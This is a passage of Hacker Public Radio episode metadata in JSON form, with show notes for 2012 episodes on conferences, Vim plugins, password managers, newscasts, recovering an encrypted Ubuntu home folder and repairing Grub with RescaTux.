      1079 Distributed Systems PodcastHPR Admins
      1080 TGTM Newscast for 9/19/2012 DeepGeek deepgeek
      1081 Preparing Pictures for Posting with the GIMPFrank Bell
      1082 LiTS 016: top pt 4: Alternate WindowsDann
      1083 compilers part1sigflup
      1084 Paul Levy on Learning to Dance with SpidersRobin Catling
      1085 A StreamZachary De Santos
      \n\n

      Thanks to

      \n
        \n
      • David Whitman for paying for the fantastic banner and then some for HPR swag !
      • \n
      \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2429,"valid":1}, {"id":1087,"date":"2012-10-02","title":"The FSCONS of Jonas Öberg ","duration":1231,"summary":"Two interviews from FSCONS 2011","notes":"

      At the conference FSCONS I have a talk with both Henrik (who has no previous experience of FSCONS) and Jonas (who organise the conference). Two very different perspectives and a few completing comments from me.

      \n\n

      Henrik

      \n\n

      Henrik mentioned the two All In IT Radio episodes \"Assembly Overclocked\" where he told us of his experiences from the demo party Assembly and \"Should Cars Get Smarter?\" where we talk about Qt, In Vehicle Infotainment and such. The later show was featured as episode 0854 on Syndicated Thursday on Hacker Public Radio. We also referenced Jeremiah Foster, Johan Thelin and Mathias Klang

      \n\n

      Jonas

      \n\n

      When Jonas mentions \"Henrik\", he does not mean the Henrik of All In IT Radio fame, but rather Henrik Sandklef who sits on the board of \"Föreningen fri kultur och programvara\".

      \n\n\n\n

      How to reach me

      \n\n

      You should follow me and subscribe to All In IT Radio:

      \n\n\n","hostid":192,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Interview,FSCONS,FSCONS 2011,Qt","version":0,"downloads":2453,"valid":1}, {"id":1088,"date":"2012-10-03","title":"Penguicon 2012","duration":1463,"summary":"A report from Penguicon 2012 - a Linux Fest and Sci Fi convention","notes":"

      Penguicon is at https://www.penguicon.org/CMS/

      \n

      LoCoCast is at https://lococast.net

      \n

      Indiana LinuxFest is at https://www.indianalinux.org/cms/

      \n

      Science Fiction Oral History Association is at https://www.sfoha.org

      \n

      Hurricane Electric is at https://www.he.net

      \n

      Washtenaw Linux Users Group is at https://www.lugwash.org

      \n
      \n

      Follow my blog at https://www.zwilnik.com/

      \n
      \n

      To submit a talk for Ohio LinuxFest, please go to https://ohiolinux.org/callfortalks for more information.

      \n
      \n

      Remember to support free software!

      \n","hostid":198,"series":96,"explicit":1,"license":"CC-BY-SA","tags":"Penguicon 2012","version":0,"downloads":2358,"valid":1}, {"id":1089,"date":"2012-10-04","title":"Max Mether of SkySQL talks about MariaDB","duration":3612,"summary":"A recording from the Northeast GNU/Linux Fest 2012","notes":"

      \nRecorded at the Northeast GNU/Linux Fest 2012-03-17\n

      \n

      MariaDB

      \n

      From Wikipedia, the free encyclopedia\n

      \n

      \nMariaDB is a community-developed branch of the MySQL database, the impetus being the community maintenance of its free status under the GNU GPL, as opposed to any uncertainty of MySQL license status under its current ownership by Oracle. The contributors are required to share their copyright with Monty Program AB.\n

      \n

      \n\nThe intent also being to maintain high fidelity with MySQL, ensuring a \"drop-in\" replacement capability with library binary equivalency and exacting matching with MySQL APIs and commands. It includes the XtraDB storage engine as a replacement for InnoDB,[4] as well as a new storage engine, Aria, that intends to be both a transactional and non-transactional engine perhaps even included in future versions of MySQL.\n

      \n

      \n\nIts lead developer is Michael \"Monty\" Widenius, the founder of MySQL and Monty Program AB. He had previously sold his company, MySQL AB, to Sun Microsystems for 1 billion USD.

      \n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"database,MySQL,MariaDB","version":0,"downloads":2358,"valid":1}, {"id":1090,"date":"2012-10-04","title":"TGTM Newscast for 10/2/2012","duration":1249,"summary":"A newscast from Talk Geek to Me","notes":"\n

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n\n

      News from \"techdirt.com,\" \"icelandreview.com,\"  \"maggiemcneill.wordpress.com,\"\nand\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com,\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n\n

      News from \"rhrealitycheck.org\" used under permission of the Creative Commons by-attribution share-alike license.
      \n

      \n\n

      News from \"venezuelanalysis.com\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n\n\n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2349,"valid":1}, {"id":1091,"date":"2012-10-05","title":"Useful Vim Plugins","duration":1167,"summary":"Some of the Vim/gVim plugins I use and would like to recommend","notes":"

      Useful Vim Plugins

      \n

      I started learning vi a long time ago when I first encountered Unix systems. In those days you could usually count on a system having vi (or at a pinch, when the system would only boot into single user mode, ed). Learning Emacs didn't seem like a good choice since it wasn't usually available on the systems I was administering.

      \n

      I don't remember when I changed to Vim, but for many years I have used it (actually gVim) as an IDE (Integrated Development Environment), particularly for writing Bash and Perl scripts.

      \n

      In these notes I have listed some of the plugins I use to enhance Vim and gVim's functionality. If you have never made enhancements to this editor, here's a site with a very good tutorial on how to install plugins https://www.installationwiki.com/Installing_Vim_Scripts.

      \n
      \n

      NERDTree

      \n \n

      This plugin provides a file browser within Vim/gVim. A particular directory is opened by typing :NERDTree somedir. A tree is displayed in a window which can be scrolled and traversed to find files to edit.

      \n

      \"\"

      \n

      In case you're interested, the colour theme I use in gVim is \"Murphy\".

      \n

      Type :h NERD_tree for the large and comprehensive help file.

      \n

      I prefer to use NERDTree in gVim and not in Vim. To achieve this I have the following in my ~/.vimrc

      \n  \" NERDTree settings (only in GUI mode)\n  if has(\"gui_running\")\n      let NERDTreeRoot = '~'\n      let NERDTreeIgnore = ['\\~$', '\\.swp$']\n      let NERDTreeShowHidden = 1\n      let NERDTreeShowBookmarks = 1\n      let NERDTreeChDirMode = 2\n  else\n      let loaded_nerd_tree = 1\n  endif\n

      \n

      Bash-support

      \n \n

      This one provides a Bash scripting IDE for Vim and gVim. I find it most usable in gVim where it offers a comprehensive set of menus which you can see in the example.

      \n

      From the Help text:

      \n  It is written to considerably speed up writing code in a consistent style.\n  This is done by inserting complete statements, comments, idioms, and code\n  snippets. Syntax checking, running a script, starting a debugger can be done\n  with a keystroke. There are many additional hints and options which can\n  improve speed and comfort when writing shell scripts.\n

      \"\"

      \n

      The plugin can be used from the menu or by typing short-cut sequences such as \\ct which inserts the current date and time at the cursor position. It's an amazingly detailed package that's well worth dedicating the time to learn if you often write Bash scripts.

      \n
      \n

      Perl-support

      \n \n

      This plugin provides a Perl scripting IDE for Vim and gVim. As with the Bash plugin from the same author I find it most useful from gVim where the menus can be used to perform a wide range of actions.

      \n

      Again, you can use it to insert statements, boilerplate text and comments, in a similar way to the Bash plugin. You can also get regular expression help, check, run and debug the script

      \n

      Two of the functions I find particularly useful are perltidy and perlcritic. Perltidy will reformat your Perl script, and Perlcritic will critique it according to the rules based on Damian Conway's book Perl Best Practices.

      \n

      \"\"

      \n

      Note the lower window showing the various problems detected by perlcritic.

      \n

      If you are a C or C++ programmer Fritz Mehner also provides a plugin for these languages here.

      \n
      \n

      manpageview

      \n \n

      This is a man page viewer for use within Vim. Use :Man topic or press K on a keyword. Can view perl, php and python help.

      \n

      This is a great way to view man pages, with the ability to search and cut and paste the contents.

      \n
      \n

      Surround

      \n \n

      The plugin provides mappings to easily delete, change and add \"surroundings\" such as quotes, braces and parentheses.

      \n

      The following extract from the Help text should make this clearer:

      \n  Consider the following examples.  An asterisk (*) is used to denote the cursor\n  position.\n  \n    Old text                  Command     New text\n    \"Hello *world!\"           ds\"         Hello world!\n    [123+4*56]/2              cs])        (123+456)/2\n    \"Look ma, I'm *HTML!\"     cs\"<q>      <q>Look ma, I'm HTML!</q>\n    if *x>3 {                 ysW(        if ( x>3 ) {\n    my $str = *whee!;         vlllls'     my $str = 'whee!';\n

      \n

      Fugitive

      \n \n

      A very powerful interface to git.

      \n

      \"\"

      \n

      The image shows the result of the :Gstatus command which is equivalent to typing git status on the command line.

      \n
      \n

      Taglist

      \n \n

      This plugin provides source code browsing by listing tags (functions, classes, structures, variables, etc.). The list is in a window in Vim or in a menu in gVim.

      \n

      The plugin makes us of the Exuberant Ctags utility to index tags in a source file. I believe that most Linux distributions ship with this utility, but if not it seems to be easily available in repositories.

      \n

      \"\"

      \n

      The image shows gVim with the tag list in a window. I find the menu in gVim more useful myself.

      \n
      \n

      Supertab

      \n \n

      Provides insert completion functionality using the Tab key.

      \n

      \"\"

      \n

      The example shows a Perl script where the choice being made from the list offered by Supertab is uptodate. Note also that manpageview is being used to view the manpage for the CPAN module.

      \n

      It has taken me a while to learn not to use the Tab key to enter TAB characters but to use CTRL-Tab instead. However, I have decided that the advantages of redefining the Tab key in this way outweigh the disadvantages. You might not agree!

      \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"vim,gvim,NERDTree,Bash-support,Perl-support,manpageview,surround,fugitive,taglist,supertab","version":0,"downloads":2570,"valid":1}, {"id":1092,"date":"2012-10-08","title":"Ham Radio: The Original Tech Geek Passion","duration":3343,"summary":"Mr Gadgets talks about his interest and long experience in Amateur Radio","notes":"

      \nHere are some ShowNote Links:\n

      \n

      \nhttps://www.iw5edi.com/ham-radio/?a-beginners-guide-to-amateur-radio,77\nhttps://en.wikipedia.org/wiki/Amateur_radio\n

      \n

      \nwww.arrl.org\nwww.w5yi.org\nwww.rsgb.org\nwww.rac.ca\nhttps://en.wikipedia.org/wiki/List_of_amateur_radio_organizations\n

      \n

      \nKeep up the Great Work!\n

      \n

      \nBB aka MrGadgets\n

      \n

      \nP.S. I'm Baaaaaaack... ;-)\n

      ","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HAM radio,amateur radio,CB radio,Morse code","version":0,"downloads":2483,"valid":1}, {"id":1093,"date":"2012-10-10","title":"Separate Presentation from Content - 2 Office Software","duration":1434,"summary":"A continuation of the topic of presentation versus content","notes":"

      Alfresco https://www.alfresco.com/

      \n

      Ohio LinuxFest is September 28-30 in Columbus, Ohio. Go to https://ohiolinux.org/ for more information.

      \n

      My web site is at https://www.ahuka.com/.

      \n

      Remember to support free software!

      \n","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"presentation,content,office software,semantic encoding","version":0,"downloads":2453,"valid":1}, {"id":1094,"date":"2012-10-11","title":"Linux, Beer, and Who Cares?","duration":3005,"summary":"A recording of an impromptu podcast session","notes":"

      By BuyerBrown, RedDwarf, and FiftyOneFifty

      \n

      This is a recording of an impromptu\nbull session that came about one night after BuyerBrown, RedDwarf,\nand I had been waiting around on Mumble for another host to join in. \nAfter giving up on recording our scheduled podcast, we stayed up for\nabout an hour talking and drinking when Buyer suddenly asked Red and\nI to find current events articles concerning Linux. When that task\nwas completed, Buyer announced he was launching a live audiocast over\nMixlr.com with us as his guests. You are about to hear the result. \nTopics range from the prospects of Linux taking over the small\nbusiness server market, now that Microsoft has retreated from the\nfield, Android tablets and the future of the desktop in general, and\nthe (at the time) revelation that Steam would be coming to Linux (on\nthe last point, let me be the first to say that I am glad some of the\nconcerns in my rant appear to be unfounded, apparently after a lot of\nwork, Left for Dead 2 runs faster under Linux than it does under\nWindows with equivalent hardware. This podcast was recorded on a\nwhim but I can't promise it won't happen again.

      \n","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"podcast,audiocast","version":0,"downloads":2561,"valid":1}, {"id":1095,"date":"2012-10-12","title":"TGTM Newscast for 2012/10/07","duration":1137,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      News from \"techdirt.com,\" \"thestand.org,\"  \"inthesetimes.com,\"\nand\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"democracynow.org,\" and\n\"peoplesworld.org\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n\n

      News Sources retain their respective copyrights.

      \n

      Links

      ","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2503,"valid":1}, {"id":1096,"date":"2012-10-15","title":"KeepassX","duration":1235,"summary":"A discussion of KeepassX, a cross platform password manager","notes":"Frank Bell discusses KeepassX, a versatile cross platform password manager for Linux and other *nix operating systems, Windows, and MAC. He talks about how he learned about it and why he has become a user after years of resisting password vaults.
      \n
      \nRelated links:
      \nKeepassX: https://www.keepassx.org/
      \nTwofish encryption: https://en.wikipedia.org/wiki/Twofish
      \nAES (Rijndael) encryption: https://csrc.nist.gov/archive/aes/rijndael/wsdindex.html
      \nPwManager: https://extragear.kde.org/apps/pwmanager/
      \nGnome Keyring: https://live.gnome.org/GnomeKeyring
      \nKwallet: https://utils.kde.org/projects/kwalletmanager/
      \nLinux Journal article on KeepassX: https://www.linuxjournal.com/content/keepassx-keeping-your-passwords-safe
      \nKeepassX Slackbuild: https://slackbuilds.org/repository/13.37/office/keepassx/
      \nKeepass, the inspiration of KeepassX: https://keepass.com/
      ","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"KeepassX,password,password vault","version":0,"downloads":2587,"valid":1}, {"id":1097,"date":"2012-10-16","title":"The Cyberunions Podcast","duration":2855,"summary":"Exploring the intersection between trade union organising and new technology","notes":"

      \nToday it's the turn of The Cyberunions Podcast, https://cyberunions.org/. Cyberunions is a project exploring the intersection between trade union organising and new technology. Rather than seeing technology as a set of tools, we see cyberspace as a space, where people work, organise politically, are entertained and educated, and engage in many fields of human endeavour.\n

      \n

      \nTodays show is The Cyberunions Podcast - Episode 46: gIMMI net freedomz https://cyberunions.org/the-cyberunions-podcast-episode-46-gimmi-net-freedomz/\n

      \n
      \n

      We speak to Smári McCarthy of the International Modern Media Institute

      \n

      1:30 May Day updates

      \n
        \n
      • Good day in Mexico City
      • \n
      • Good article about the new and old left coming together in the US
      • \n
      • Interesting times across Europe
      • \n
      • Elections in the UK (local), France and Greece
      • \n
      \n

      6:00 Tech update

      \n
        \n
      • Apple finally credits Open Street Maps
      • \n
      • Duckduckgo searches Open Street Maps if you search !osm
      • \n
      \n

      8:00 Interview with Smári McCarthy

      \n
        \n
      • International Modern Media Institute builds media freedom best practice
      • \n
      • Makes Iceland the best country in the world to host information
      • \n
      • Time to go on the offensive to assert net freedom
      • \n
      • In the US, free speech is easy to suppress at local level
      • \n
      • Free speech laws are 200 years out of date and not fit for the information age
      • \n
      • Never waste a good crisis - it’s an opportunity for change
      • \n
      • Birgitta Jonsdottir helped promote media freedom in the Alþingi
      • \n
      • The financial crisis means Iceland can no longer rely on is finance sector
      • \n
      • Data services become a new economic sector, which is diversified and encourages entrepeneurship
      • \n
      • ACTA is a threat to a large portion of human endeavour and must be stopped
      • \n
      • Lobbyists have succeeded in entrenching intellectual monopoly protections into the Kenyan constitution - allows them to leverage East Africa
      • \n
      • How do unions fit into this? Where is the digital labour movement?
      • \n
      • The labour movement is paralysed by hierarchy - the internet challenges this and can unlock union power
      • \n
      • The industrial revolution was a tragic mistake
      • \n
      • How do you protect whistleblowers?
      • \n
      • You can get hosting in Iceland through Ecodis
      • \n
      \n\n

      Links

      \n\n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"trade union,media freedom","version":0,"downloads":2510,"valid":1}, {"id":1098,"date":"2012-10-17","title":"My Journey to Geekdom","duration":795,"summary":"A personal reminiscence","notes":"

      Welcome to Becky Newborough's first solo podcast for HPR in which she invites us along on her trip down memory lane as she reminisces about how she started using tech.\nShe has previously taken part in last year's collaborative HPR New Years eve show; jointly recorded a congratulatory message for HPR's 1000th episode and more recently\nat OggCamp 2012, she told us all about setting up Lincoln LUG.

      \n\n\n

      Becky hopes that you have enjoyed the show.

      \n\n

      Links

      \n","hostid":226,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"BBC Micro,ZX Spectrum 48k,RAF,Crunchbang,Lincoln LUG","version":0,"downloads":2480,"valid":1}, {"id":1099,"date":"2012-10-18","title":"compilers part 2","duration":592,"summary":"About the parsing stage of a compiler","notes":"miscellaneous radio theater 4096 \n
      \nIn this multipart episode sigflup describes the parsing stage of a compiler.","hostid":115,"series":84,"explicit":1,"license":"CC-BY-SA","tags":"compiler,parsing","version":0,"downloads":2399,"valid":1}, {"id":1100,"date":"2012-10-19","title":"Why Android Tablets Suck Part2","duration":1642,"summary":"MrGadgets might be changing his opinion of Android Tablets","notes":"in today's show Mr.Gadgets calls in another episode on why Android tablets suck.","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Android,tablet ","version":0,"downloads":2742,"valid":1}, {"id":1101,"date":"2012-10-22","title":"Recovery of an (en)crypted home directory in a buntu based system","duration":1107,"summary":"Encrypted home folder recovery","notes":"

      Recovery of an (en)crypted home directory in a 'buntu based system

      \n

      by 5150

      \n


      \n

      \n

      This is going to be the archetypal “How I Did It” episode because if fulfills the criterion of dealing with an issue most listeners will most likely never have to resolve, but might be invaluable to those few who some day encounter the same problem, how to recover an encrypted home folder on an Ubuntu system.

      \n

      I enabled home folder encryption on installation of a Linux Mint 8 system some years back and it never gave me trouble until the day that it did. Suddenly, my login would be accepted, but then I would come right back to GDM. Finally I dropped into a text console to try to recover the contents of my home folder, and instead found two files, Access-Your-Private-Data.desktop and README.txt . README.txt explained that I had arrived in my current predicament because my user login and password for some reason were no longer decrypting my home folder (Ubuntu home folder encryption is tied to your login, no additional password is required). Honestly, until I lost access to my files, I 'd forgotten that I'd opted for encryption. I found two\narticles that described similar methods of recovery. I'd tried that following their instructions and failed, probably because I was mixing and matching what seemed to be the easiest steps to implement from the two articles. When I took another look at the material weeks later, I discovered I missed a link in the comments that led me to an improved method added at Ubuntu 11.04 that saves several steps:\nhttps://blog.dustinkirkland.com/2011/04/introducing-ecryptfs-recover-private.html

      \n
        \n
      1. Boot to an Ubuntu distribution CD (11.04 or later)

        \n
      2. Create a mount point and mount the hard drive. Of course, if you configured you drive(s) with multiple data partitions (root, /home,\netc) you would have to mount each separately to recover all the contents of your drive, but you only have to worry about decrypting your home directory. If you use LVM, and your home directory spans several physical drives or logical partitions, I suspect things could get interesting.

        \n
          \n
        1. $sudo mkdir /media/myhd

          \n
            \n
          1. /media is owned by root, so modifying it requires elevation

            \n
          \n
        2. You need to confirm how your hardrive is registered with the OS. I just ran Disk Utility and confirmed that my hard drive was parked\nat /dev/sda, that meant that my single data partition would be at /dev/sda1

          \n
        3. $sudo mount /dev/sda1 /media/myhd

          \n
        4. Do a list on /media/myhd to confirm the drive is mounted

          \n
            \n
          1. $ls /media/myhd

            \n
          \n
        5. The new recovery command eliminates the need to re-create your old user

          \n
            \n
          1. $sudo ecryptfs-recover-private (yes, ecrypt not encrypt)

            \n
          2. You will have to wait a few minutes while the OS searches your hard drive for encrypted folders

            \n
              \n
            1. When a folder is found, you will see

              \n

              INFO:\nFound [/media/myhd/home/.ecryptfs/username/.Private].

              \n

              Try to recover this directory? [Y/n]

              \n
                \n
              • Respond “Y”

                \n
              \n
            2. You will be prompted for you old password

              \n
            3. You should see a message saying your data was mounted read only at

              \n

              /tmp/ecryptfs.{SomeStringOfCharacters}

              \n
                \n
              • I missed the mount point at first, I was look for my files in /media/myhd/home/myusername

                \n
              \n
            \n
          \n
        6. If you try to list the files in /tmp/ecryptfs.{SomeStringOfCharacters}, you will get a “Permission Denied” error. This because your old user owns these files, not your distribution CD login

          \n
            \n
          1. [You will probably want to copy “/tmp/ecryptfs.{SomeStringOfCharacters}” into your terminal buffer as you will need to reference it in commands. You can select if with your mouse in the “Success” message and copy it with <Ctrl><Alt>c, paste it later with <Ctrl><Alt>v

            \n
          2. I tried to take ownership of /tmp/ecryptfs.{SomeStringOfCharacters}, I should have thought that would have worked.

            \n
              \n
            1. From my command prompt, I can see my user name is “ubuntu”

              \n
            2. $ sudo chown -R ubuntu /tmp/ecryptfs.{SomeStringOfCharacters}

              \n
                \n
              • -R takes ownership of subdirectories recursively

                \n
              • It's a good time to get a cup of coffee

                \n
              \n
            \n
          \n
        7. Next, we need to copy the files in our home directory to another location, I used an external USB drive (it was automounted under /media when I plugged it in). If you had space on the original hard drive, I suppose you could create a new user and copy the files to the new home folder. I decided to take the opportunity to upgrade my distro. Some of the recovered files will wind up on my server and some on my newer laptop.

          \n
            \n
          1. One could run Ubuntu's default file manager as root by issuing “sudo nautilus &” from the command line (the “&” sends the\nprocess to the background so you can get your terminal prompt back)

            \n
              \n
            1. Before copying, be sure to enable “View Hidden Files” so the configuration files and directories in you home directory will be recovered as well. As I said, there are select configuration files and scripts in /etc I will want to grab as well.

              \n
            \n
          2. I had trouble with Nautilus stopping on a file it couldn't copy, so I used cp from the terminal so the process wouldn't stop every\ntime it needed additional input.

            \n
              \n
            1. $ cp -Rv /tmp/ecryptfs.{SomeStringOfCharacters} /media/USBDrive/Recovered

              \n
                \n
              • Of course the destination will depend on what you've named your USB drive and what folder (if any) you created to hold your recovered files

                \n
              • -Rv copies subdirectories recursively and verbosely, otherwise the drive activity light may be your only indication of progress. The cp command automatically copies hidden files as well.

                \n
              • Because of the file ownership difficulties, I could only copy the decrypted home folder in its entirety, \n

                \n
              \n
            \n
          3. I still had trouble with access do to to ownership once I detached the external drive and remounted it on my Fedora laptop, but I\ntook care of that with:

            \n
              \n
            1. $ su -c 'chown -R mylogin/media/USBDrive/Recovered'

              \n
            \n
          \n
        \n
      \n","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"encryption,Ubuntu,recovery ","version":0,"downloads":2545,"valid":1}, {"id":1102,"date":"2012-10-23","title":"Speech Impediments","duration":1322,"summary":"In this episode Door shares with us life with a speech impediment","notes":"In this episode Door shares with us life with a speech impediment, his experiences and his speech goals.","hostid":212,"series":79,"explicit":1,"license":"CC-BY-SA","tags":"speech impediment,stuttering ","version":0,"downloads":2430,"valid":1}, {"id":1103,"date":"2012-10-24","title":"Thoughtkindness: In Defense of Media Freetardation","duration":4790,"summary":"Media formats and freedom","notes":"

      It took 14 months longer than intended to get this episode done! To make up \nfor it, I've unintentionally ended up with enough time of me talking to almost\nmake up a minimal-useful-sized episode every month while everyone's been \nwaiting.

      \n

      Today's episode of \"Thoughtkindness\" consists of:

      \n
        \n
      • Me begging for forgiveness for disappearing for a year.
      • \n
      • An update on \"bunnies\", my linux laptop from Ohava Computers
      • \n
      • Over an hour of my attempt to collect and explain why we need \nto make media on the internet more \"freetarded\"
      • \n
      \n

      After revealing what ticked me off and made me start on this episode, I \nlaunch into a short technical and historical talk about the handful of audio \nand video files that matter on the web today.

      \n

      (Opus, Ogg Vorbis, WebM, MP3, Flash Video, MP4, and a few others).

      \n

      Following this, I explain why I think the legally-free media formats are\nso important, and much more useful than most people seem to recognize, why\nI think we need to be paying more attention to audio than video, and what\nneeds to happen to make legally-free media ubiquitous.

      \n

      I conclude by once again begging for attention and foolishly publically\nannouncing that I want to try to develop some software and invite everyone\nto pester me for it as well as for future audio shows. Maybe I won't be \nallowed to procrastinate for another year before producing more this time.

      \n

      Let me know if this is helpful or at least entertaining...

      \n

      Note: an Opus version of this episode will be available at\nhttps://hpr.dogphilosophy.net for either online listening in \nFirefox 15 or later, or downloading for listening in VLC or \nother Opus-supporting applications.

      \n","hostid":182,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"media format,freedom,Opus,Ogg Vorbis,WebM,MP3,Flash Video,MP4 ","version":0,"downloads":2551,"valid":1}, {"id":1104,"date":"2012-10-25","title":"TuxJam: Episode 15","duration":3675,"summary":"In this episode we visit the TuxJam podcast from Scotland","notes":"

      Today we are going to take a jaunt over to see how it's done in the Highlands.

      \n

      \nThe TuxJam audiocast is a family friendly Creative Commons music show with open source goodness.
      \nhttps://casts.unseenstudio.co.uk/tuxjam/2012/08/28/episode-15/\n

      \n
      \n

      After a sunny warm summer on Lewis, TuxJam makes a return that coincides with the rain and gales. \nTo entertain the listeners on the cold autumn nights Kevie looks at \nTiny Core Linux 4.6, \nWattOS R6, \nZorinOS 6.1 \"Lite\", \nSalineOS 2.0,\n Manjaro Linux 0.8 and \nPCLinuxOS 2012.08. Along with an in-depth look at \nLubuntu, \nWriteType, \nRadio Tray and Android browser \nOrweb v2. Listen to Kevie on a recent episode of the \nMusic Manumit podcast. Please email suggestions for music/software for Kevie to try out, tag the message #tuxjam (\nidenti.ca, \nDiaspora or \nLibertree) or make a note of it on TuxJam’s \nPiratePad page. Along with the following great creative commons tracks:\n

      \n

      \n1. Soundstatues - Give It Up
      \n2. Lar Clobsay - Promise
      \n3. Crimson Sun - Don’t Care
      \n4. Tommy Toussaint - I Don’t Wanna Cry
      \n5. Reduced Romantics - Brainscience
      \n6. Plastic3 - Commercial High Tech Music\n

      \n

      Links

      \n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"TuxJam,music","version":0,"downloads":2435,"valid":1}, {"id":1105,"date":"2012-10-26","title":"TGTM Newscast for 10/24/2012","duration":1246,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      News from \"techdirt.com,\" \"rawstory.com,\"  \"icelandreview.com,\" and \"allgov.com\" used under arranged permission. News from \"torrentfreak.com,\" and \"eff.org\" used under permission of the Creative Commons by-attribution license. News from \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license. News Sources retain their respective copyrights.

      \n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM ","version":0,"downloads":2438,"valid":1}, {"id":1106,"date":"2012-10-29","title":"Of Fuduntu, RescaTux (or the Farmer Buys a Dell)","duration":754,"summary":"An installation tale of woe","notes":"

      This is another one of my How I Did It\nPodcasts (or How I Done It if you rather) where my goal is to pass\nalong the things I learn as a common Linux user administering my home\ncomputers and network, and engaging in the types of software\ntinkering that appeals to our sort of enthusiast.

      \n


      \n

      \n

      I'd been thinking for a while about\nreplacing the small computer on my dinner table. I had been using an\nold HP TC1000, one of the original active stylus Windows tablets, of\ncourse now upgraded to Linux. With the snap in keyboard, it had a\nform factor similar to a netbook, with the advantage that all the\nvulnerable components were behind the LCD, up off the table and away\nfrom spills. It had served my purpose of staying connected to IRC\nduring mealtimes, and occasional streaming of live casts, but I\nwanted more. I wanted to be able to join into Mumble while preparing\nmeals, I wanted to be able to load any website I wanted without\nlockups, and I wanted to stream video content and watch DVDs.

      \n


      \n

      \n

      I was concerned that putting a laptop\non the table was an invitation to have any spilled beverage sucked\nright into the air intakes, and I never even considered a desktop\nsystem in the dining room until I saw a refurbished Dell Inspiron 745\non GearXS.com (I wouldn't normally plug a specific vendor, but now\nGearXS is putting Ubuntu on all it's used corporate castoff systems).\nThis Dell had the form factor that is ubiquitous in point-of-sale, a\nvertical skeleton frame with a micro system case on one side and a\n17” LCD on the other, placing all the electronics several inches\nabove the surface on which it is placed. I even found a turntable\nintended for small TVs that lets me smoothly rotate the monitor to\neither at my place on the table or back towards the kitchen where I\nam cooking. I already had a sealed membrane keyboard with an\nintegrated pointer and wireless-N USB dongle to complete the package.\nShipped, my “new” dual core 2.8Ghz Pentium D system with 80Gb\nhard drive and Intel graphics was under $150. [The turntable was $20\nand an upgrade from 1Gb to 4Gb of used DDR2 was $30, but both were\nworth it.] Since the box shipped with Ubuntu, I thought installing\nthe distro of my choice would be of no consequence, and that is where\nmy tale begins.

      \n


      \n

      \n

      I'm going to start my story towards the\nend, as it is the most important part. After the installation of four\nLinux distros in as many days (counting the Ubuntu 10.04 LTS the box\nshipped with, a partial installation of SolusOS 2r5, Fuduntu and\nfinally Lubuntu 12.04), I discovered I couldn't boot due to Grub\ncorruption (machine POSTed, but where I should have seen Grub, I got\na blank screen with a cursor in the upper left corner). \n

      \n


      \n

      \n

      A. I thought I would do a total disk\nwipe and start over, but DBAN from the UBCD for Windows said it\nwasn't able to write to the drive (never seen that before) \n

      \n

      B. Started downloading the latest\nRescaTux ISO. Meanwhile, I found an article that told me I could\nrepair Grub with a Ubuntu CD\nhttps://ubuntunigeria.wordpress.com/2010/09/02/how-to-restore-grub2-using-an-ubuntu-live-cd-or-thumb-drive/\n, so I tried booting from the Lubuntu 12.04 CD (using the boot device\nselector built into the hardware). Same black screen, preceded by a\nmessage that the boot device I had selected was not present. Same\nthing with the Fuduntu DVD that had worked the day before. With the\nexception of UBCD, I couldn't get a live CD to boot. \n

      \n

      C. Now having downloaded the RescaTux\nISO, and suspecting a problem with the optical drive, I used\nUnetbootin to make a RescaTux bootable thumb drive. RescaTux \n

      \n

      (\nhttps://download2.berlios.de/rescatux/rescatux_cdrom_usb_hybrid_i386_486-amd64_0.30b7_sg2d.iso\n) has a pre-boot menu that let's you choose between 32 and 64 bit\nimages, but that was as far as I got, nothing happened when I made my\nselection. \n

      \n

      D. At this point, I am suspecting a\nhardware failure that just happened to coincide with my last install.\nThis is a Ultra Small Form Factor Dell, the kind you see as point of\nsale or hospital systems, so there weren't many components I could\nswap out. I didn't have any DDR2 laying around, but I did test each\nof the two sticks the system came with separately with the same\nresults. I then reasoned a Grub error should go away if disabled the\nhard drive, so I physically disconnected the drive and disabled the\nSATA connector in the BIOS. I still couldn't boot to a live CD.\nDeciding there was a reason his machine was on the secondary market,\nI hooked everything back up and reset the BIOS settings to the\ndefaults, still no luck. \n

      \n

      E. As a Hail Mary the next day, I\nburned the RescaTux ISO to a CD and hooked up and external USB\noptical drive. This time, I booted to the Live CD, did the two step\ngrub repair, and when I unplugged the external drive, I was able to\nboot right into my Lubuntu install. Now booting to Live CDs from the\noriginal optical drive and from the thumb drive worked. RescaTux FTW.\n

      \n


      \n

      \n

